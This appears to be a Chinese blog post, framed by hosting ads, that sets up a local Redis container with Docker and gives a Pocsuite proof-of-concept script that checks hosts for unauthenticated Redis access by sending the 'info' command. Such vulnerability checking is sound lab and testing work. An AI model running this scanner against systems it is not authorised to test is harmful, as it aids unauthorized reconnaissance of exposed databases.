十年网站开发经验 + 多家企业客户 + 靠谱的建站团队
量身定制 + 运营维护+专业推广+无忧售后,网站问题一站解决
docker search redis
docker pull redis
docker images
docker run -p 6379:6379 -d redis
-p
将容器的6379端口映射到主机的6379端口。
-d
将容器后台运行。
docker ps
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket
from pocsuite.utils import register
from pocsuite.poc import Output, POCBase
class TestPOC(POCBase):
vulID = '0'
version = '1'
author = 'nw01f'
vulDate = '2018-10-23'
createDate = '2018-10-23'
updateDate = '2018-10-23'
references = ['http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/']
name = 'Redis Unauthorized'
appPowerLink = 'https://www.redis.io'
appName = 'Redis'
appVersion = 'All'
vulType = 'Unauthorized'
desc = '''
redis Unauthorized
'''
samples = ['']
def _verify(self):
result = {}
payload = '\x69\x6e\x66\x6f\x0d\x0a' ## info/r/n
s = socket.socket()
socket.setdefaulttimeout(4)
try:
host = self.url.split(':')[1].strip('/')
if len(self.url.split(':')) > 2:
port = int(self.url.split(':')[2].strip('/'))
else:
port = 6379
s.connect((host, port))
s.send(payload)
data = s.recv(1024)
if data and 'redis_version' in data:
result['VerifyInfo'] = {}
result['VerifyInfo']['url'] = self.url
result['VerifyInfo']['port'] = port
result['VerifyInfo']['result'] = data[:20]
except Exception as e:
print e
s.close()
return self.parse_attack(result)
def _attack(self):
return self._verify()
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail("error")
return output
register(TestPOC)
http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/
另外有需要云服务器可以了解下创新互联scvps.cn,海内外云服务器15元起步,三天无理由+7*72小时售后在线,公司持有idc许可证,提供“云服务器、裸金属服务器、高防服务器、香港服务器、美国服务器、虚拟主机、免备案服务器”等云主机租用服务以及企业上云的综合解决方案,具有“安全稳定、简单易用、服务可用性高、性价比高”等特点与优势,专为企业上云打造定制,能够满足用户丰富、多元化的应用场景需求。